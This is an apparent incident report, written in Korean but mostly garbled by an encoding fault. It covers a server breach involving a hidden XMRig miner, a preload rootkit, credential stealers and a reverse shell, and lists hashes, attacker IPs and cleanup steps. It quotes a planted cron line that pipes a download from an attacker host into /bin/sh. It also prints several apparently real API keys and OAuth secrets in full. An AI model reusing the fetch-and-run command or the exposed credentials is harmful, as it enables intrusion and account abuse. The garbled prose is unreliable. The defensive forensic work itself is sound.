๋์์: Claude Code (์์ CEO ๊ถํ, /sprint ์ํฌํ๋ก์ฐ)
ํ์ง: 2026-04-25 23:02 KST (paperclip /mco-health ๋ฉ๋ชจ๋ฆฌ 64% โ top ์กฐ์ฌ)
๊ฒฉ๋ฆฌ ์๋ฃ: 2026-04-25 23:13 KST
์ด ๋์ ์๊ฐ: ์ฝ 11๋ถ (์ฌํ ์ ๋ฆฌยท๋ณด๊ณ ์ ํฌํจ ~30๋ถ)
์นจํด ํ์: ์ฌ์ฉ์ ๊ฐ๋ ์ฝ๋ฉํธ ๊ธฐ์ค 7+ํ์ฐจ ("hardened after 6th incident")
PM2 agency-web ID #25 ์ฌ๋กฏ์ ์ฑ๊ตด ELF q9tcDR7k๊ฐ ๋ก๋๋์ด 8์ฝ์ด ํ๋ก๋(load 9~10) ์ฝ 13์๊ฐ ์ง์.
์กฐ์ฌ ๊ฒฐ๊ณผ ๋จ์ ์ฑ๊ตด๊ธฐ๊ฐ ์๋ ํ-์คํํธ๋ผ ์นจํด:
๊ฒฉ๋ฆฌยท์ฒญ์ยท๊ฒ์ฆ ์๋ฃ. OAuth secret/API key ํ์ ์ด ๊ฐ์ฅ ์๊ธ.
| ์๊ฐ | ์ด๋ฒคํธ |
|---|---|
| 2026-04-11 05:32 | /etc/systemd/system/anti-miner.service + .timer ๋ฑ๋ก (์ฌ์ฉ์ ๊ฐ๋, oneshot) |
| 2026-04-16 16:20 | /etc/cron.daily/terminate ์นจํด ํ์ (์ด์ incident) |
| 2026-04-21 09:20 | ์ฌ์ฉ์ anti-miner-guard-v2.sh (6th incident ํ ๊ฐํ) |
| 2026-04-23 17:06 | /root/.cache/.sys/ksoftirqd (8.3MB ELF) + .c.json ๋์คํฌ์ ๋ฐฐ์น |
| 2026-04-23 17:06 | /root/.bashrc mtime (์ ์ ubuntu .bashrc + ์ฌ์ฉ์ API keys, ๋ณ์กฐ๋ ์๋) |
| 2026-04-24 07:37 | /tmp/.ed4f59376.sh ํฌ๋ฆฌ๋ด์
ํ์ทจ๊ธฐ 1์ฐจ ์คํ |
| 2026-04-24 15:30 | /tmp/.ed1a089d8.sh 2์ฐจ ์คํ |
| 2026-04-24 19:01 | /tmp/.ef225fd73.sh 3์ฐจ (๋ค๋ฅธ C&C) |
| 2026-04-25 06:11 | /usr/lib/security/.ts ๊ฐฑ์ |
| 2026-04-25 08:01 | /tmp/config.json (XMRig ๋ณธ๊ฒฉ ์ค์ ) ์์ฑ |
| 2026-04-25 08:08 | q9tcDR7k ์์ (PID 817874), /etc/cron.d/auto-upgrade ์์ฑ |
| 2026-04-25 08:09 | cron์ด auto-upgrade RELOAD โ "command too long" syntax error๋ก ๊ฑฐ๋ถ (cron ์์ฒด๋ ์ ๋์๊ฐ) |
| 2026-04-25 23:02 | paperclip /mco-health ํ ์ฌ์ฉ์ telegram ์๋ฆผ ํ์ธ โ top ์กฐ์ฌ๋ก ๋ฐ๊ฒฌ |
| 2026-04-25 23:08 | ์ง๋จยท์ฆ๊ฑฐ ์์ง ์์ (T1~T3 ๋ณ๋ ฌ) |
| 2026-04-25 23:11 | 67 IOC ํ์ผ quarantine ๋ณด์กด |
| 2026-04-25 23:12 | /etc/ld.so.preload ๋น์ฐ๊ธฐ โ rootkit hook ์ฆ์ ๋ฌด๋ ฅํ |
| 2026-04-25 23:12 | /etc/cron.d/auto-upgrade, /etc/cron.daily/terminate ์ ๊ฑฐ |
| 2026-04-25 23:13 | pm2 stop agency-web โ ๋ฌด์๋ต, kill -9 817874 ๊ฐ์ ์ข
๋ฃ |
| 2026-04-25 23:13 | /tmp ํ์ด๋ก๋ ์ผ๊ด ์ญ์ , libkeyutils1 apt reinstall |
| 2026-04-25 23:16 | pm2 restart agency-web โ next-server v15.1.0 ์ ์ (HTTP 307) |
| 2026-04-25 23:16 | PM2 30/30, Docker 35, load 1min 2.53 ํ๋ณต |
| ํ์ผ | SHA256 | ํฌ๊ธฐ | ๋น๊ณ |
|---|---|---|---|
q9tcDR7k (UPX packed XMRig ๋ณ์ข
) |
859b323f02eefe070616fd45a6332d677b292f67468833433439ba7cc218d9e3 |
3,056,576 | /proc/PID/exe์์ ๋ฉ๋ชจ๋ฆฌ ๋ณต์ |
libkeyutils.so.1 (๋ณ์กฐ) |
aa1d8bd20074e3d630e564c02719cc38fc9966a1c2bebfc9e2b482fb6920e542 |
31,192 | ์ ์ 9.5KB โ 31KB๋ก swap. chattr +ia lock |
.libpam_sys.so |
aa1d8bd20074e3d630e564c02719cc38fc9966a1c2bebfc9e2b482fb6920e542 |
31,192 | ๋์ผ hash = ๋์ผ rootkit |
/usr/lib/security/.config |
911330050d639c9c82857fb6c3277d00ded6000c73e4039f90975f2d7f8ee4fb |
2,553 | /etc/cron.daily/terminate ์ ์๋ ์คํ ํ๊ฒ |
ksoftirqd_fake.elf |
0c748b9e8bc6b5b4fe989df67655f3301d28ef81617b9cbe8e0f6a19d4f9b657 |
8,334,576 | kernel thread ์์ฅ (์คํ ํ์ ์ ์์) |
/tmp/.n (Node.js reverse shell) |
f5fa9d5a82ed04001d613d4e94f9e2782ce15cf688ac86b4a3f9d9f57881f6cf |
159 |
| ์ข ๋ฅ | IP / Host | ํฌํธ | ์ฉ๋ |
|---|---|---|---|
| ์ฑ๊ตด๊ธฐ C&C | 47.239.60.142 (Alibaba range) |
33333 | q9tcDR7k ์ง์ connect |
| ํฌ๋ฆฌ๋ด์ exfil | 144.172.116.48 |
8080 | .ed1a089d8.sh / .ed4f59376.sh POST |
| ํฌ๋ฆฌ๋ด์ exfil | 178.128.41.3 (DigitalOcean) |
8080 | .ef225fd73.sh POST |
| Reverse shell | 185.177.72.3 |
20024 | /tmp/.n Node.js shell |
| ์ฑ๊ตด ํ | 62.60.246.210 |
443 | XMRig RandomX, user NEUGLOBALLY799911 |
| Drive-by downloader | http://0x1x2x3.top |
80 | cron auto-upgrade base64 |
| ์์น | ์ข ๋ฅ | ์ฒ๋ฆฌ |
|---|---|---|
/etc/cron.d/auto-upgrade |
base64 โ __d "http://0x1x2x3.top" | /bin/sh |
์ญ์ |
/etc/cron.daily/terminate |
[ -x /usr/lib/security/.config ] && exec /usr/lib/security/.config |
์ญ์ |
/etc/ld.so.preload |
/usr/lib/.libpam_sys.so + ๋ณ์กฐ libkeyutils.so.1 |
๋น์ |
/usr/lib/security/.config |
์จ๊ฒจ์ง ELF (terminate cron ํ๊ฒ) | quarantine ์ด๋ |
/usr/lib/security/.ts |
timestamp marker | quarantine ์ด๋ |
/root/.cache/.sys/ksoftirqd |
8.3MB ELF (์คํ ํ์ ์ ์์) | quarantine ์ด๋ |
/usr/lib/.libpam_sys.so |
rootkit shared object | quarantine ์ด๋ |
/usr/lib/x86_64-linux-gnu/libkeyutils.so.1 |
์์คํ lib swap (chattr +ia lock) | apt reinstall๋ก ๋ณต๊ตฌ |
/tmp/.ed*/ ๋๋ ํ ๋ฆฌ์ ์์ง๋ ํ์ผ๋ค (POST ์๋ ํ์ ):
aws_full.txt, gcp_sa_full.txt, azure_full.txtdb_uri.txt, tokens.txt, privkey.txthistory.txt, environ.txt, proc_all.txt, chunks_tokens.txtdocker.txt, cmdline.txt์ค์ ํ์ทจ ๊ฐ๋ฅ์ฑ ๋งค์ฐ ๋์ ํค (PM2 dump.pm2 environ์์ ํ์ธ๋จ):
GROQ_API_KEY: gsk_bvIE5knxyNJ2ic8rawuNWGdyb3FYRMLFYo0DjnbeTb2Y9nsPpTu7NAVER_CLIENT_SECRET: zuHPSwM9fnKAKAO_CLIENT_ID: 1843249603f40c1fc8941d6d5911393fGOOGLE_CLIENT_SECRET: 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MINIO_SECRET_KEY: starium_minio_2026BOT_API_KEY: agency_bot_key_2026_hospitalstarium_unified_2026โ ์ ๋ชจ๋ ํค ํ์ ํ์
/var/log/wtmp, /var/log/btmp, /var/log/lastlog ์ญ์ /root/.bash_history ์ญ์ q9tcDR7k ๋ฐ์ด๋๋ฆฌ ์์ฒด self-delete ((deleted) flag, ๋ฉ๋ชจ๋ฆฌ์์๋ง ์คํ)/etc/cron.d/* ๊ถํ 666์ผ๋ก ๋ณ๊ฒฝ (์ ์ 644)SSH_CLIENT=66.42.42.24 ํ์ ์์ผ๋, ์ด๋ PM2 god daemon ๋ถ๋ชจ ํ๊ฒฝ๋ณ์ inherit (์ ์).ed*.sh 4์ 24์ผ 3ํ์ฐจ ์คํ, OAuth/cloud creds ์์งยทPOST> /etc/ld.so.preload (rootkit hook ์ฐจ๋จ)rm /etc/cron.d/auto-upgrade /etc/cron.daily/terminatemv /usr/lib/security/.config /usr/lib/security/.ts โ quarantinepm2 stop agency-web (๋ฌด์๋ต โ io_uring ๋น๋๊ธฐ๋ก SIGTERM ๋ฌด์)kill -9 817874 โ ์ฆ์ ์ฌ๋ง. CPU 98% โ 5.2% ํ๋ณต/tmp/.ed*.sh, /tmp/.ed*/ ๋๋ ํ ๋ฆฌ, /tmp/.n, /tmp/config.json, /var/tmp/config.json, /tmp/anti-miner-guard-v2.sh ์ญ์ chattr -ia ํ apt-get install --reinstall -y libkeyutils1 โ sha256 f48214417757f18793ed6e180cc14ee1d6f04252a518fc7270e8ca1d0b4260fe (์ ์)/etc/cron.d/* ๊ถํ 644 ๋ณต์/var/log/{wtmp,btmp,lastlog} ์ฌ์์ฑ/root/.bash_history ์ฌ์์ฑpm2 save โ dump.pm2 ๊ฐฑ์ /root/incident-quarantine/2026-04-25/ (chmod 000, 67 IOC ํ์ผ, sha256 manifest ํฌํจ)
| # | ๊ธฐ์ค | ๊ฒฐ๊ณผ | ์ฆ๊ฑฐ |
|---|---|---|---|
| 1 | q9tcDR7k ํ๋ก์ธ์ค ๋ถ์ฌ | โ PASS | ps -fp 817874 ๊ฒฐ๊ณผ ์์ |
| 2 | ๊ฒฉ๋ฆฌ ๋๋ ํ ๋ฆฌ chmod 000 | โ PASS | d--------- 67 ํ์ผ |
| 3 | load avg 1min < 2.0 | ๐ก PARTIAL | 9.16 โ 2.53 (ํ๋ณต ์ค, 5min 6.02, 15min 7.84) |
| 4 | CPU user% < 30 | โ PASS | 98.1% โ 2.1% |
| 5 | persistence 0๊ฑด ์์กด | โ PASS | cron/preload/security/.cache ๋ชจ๋ ์ ๋ฆฌ |
| 6 | PM2 30/30 + Docker 35 | โ PASS | 30/30 online, 35 ์ปจํ ์ด๋ |
| 7 | ๋ณด๊ณ ์ ์์ฑ | โ PASS | ๋ณธ ๋ฌธ์ |
| 8 | SHA256 + IP ๊ธฐ๋ก | โ PASS | ยง2 IOC |
| 9 | fail2ban + ssh ์ ๊ฒ | โ PASS | active, 4 jails, 114 banned |
| 10 | Telegram ์๋ฆผ | โ PASS | mco-push ๋ฐ์ก |
metaquant-2026 / github-actions-deploy / kahan-new-server / hospital-server / paperclip-hq-2026 ์ค ํ์ ์ด ํ์ํ๋ฉด ์ฌ์ฉ์ ์น์ธ ํ ์งํnoexec/nosuid mount ์ต์
์ ์ฉ (์ฌ๋ถํ
ํ์ โ ๋ณ๋ ์ ๋น์ฐฝ)0.0.0.0:22 ๋
ธ์ถ. fail2ban ban 114๊ฑด์ brute-force ๋์์์. SSH ํฌํธ ๋ณ๊ฒฝ ๊ถ๊ณ /etc/cron.d, /etc/ld.so.preload, /usr/lib/security/ ๋ณ๊ฒฝ ์ค์๊ฐ alertdocker diff)๋ณธ ๋์ ์ค ์ ๋ ๊ฑด๋๋ฆฌ์ง ์์ ๊ฒ:
/etc/ssh/sshd_config ์ ์ ํ์ธ๋ง)apt-get install --reinstall libkeyutils1 ๋ง ์์คํ
๋ณ๊ฒฝ. dpkg ์ ์ ์ข
๋ฃ, needrestart skip.
/root/incident-quarantine/2026-04-25/ (chmod 000)
โโโ q9tcDR7k.recovered # ๋ฉ๋ชจ๋ฆฌ์์ ๋ณต์ํ ์ฑ๊ตด๊ธฐ
โโโ bashrc.suspicious # .bashrc ๋ฐฑ์
(์ค์ ๋ณ์กฐ ์๋)
โโโ sha256.manifest # 67 ํ์ผ sha256
โโโ cron/ # auto-upgrade, terminate, anti-miner.service, ld.so.preload, anti-miner-guard*.sh, pm2_dump.original
โโโ rootkit/ # libkeyutils.so.1.removed, libpam_sys.so.removed, usr_lib_security_dot{config,ts}
โโโ payloads/ # .ed*.sh, .ed*_data/{aws_full,gcp_sa_full,...}, dot_n_reverse_shell, ksoftirqd_fake.elf, ksoftirqd_dot_c_json
โโโ configs/ # tmp_config.json (XMRig ๋ณธ์ค์ ), var_tmp_config.json (XMRig pool 62.60.246.210)